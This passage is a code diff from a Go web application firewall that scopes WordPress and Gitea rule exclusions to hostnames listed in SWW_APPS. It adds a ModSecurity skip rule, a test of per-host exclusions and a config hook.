apps := map[string][]string{recordedHost: {"vaultwarden"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", servingApps(t, apps), bodies)
}
// vaultwardenField is a field Vaultwarden receives in plain text: the
internal/coreruleset/wordpress.conf
+10 -1
View File
@@ -1,10 +1,17 @@
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
@@ -195,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
internal/discriminator/coreruleset_test.go
+23
View File
@@ -10,6 +10,7 @@ import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
@@ -21,6 +22,7 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block"
detect = "detect"
)
@@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
}
}
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
internal/discriminator/proxy.go
+3 -1
View File
@@ -221,7 +221,8 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
})
if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)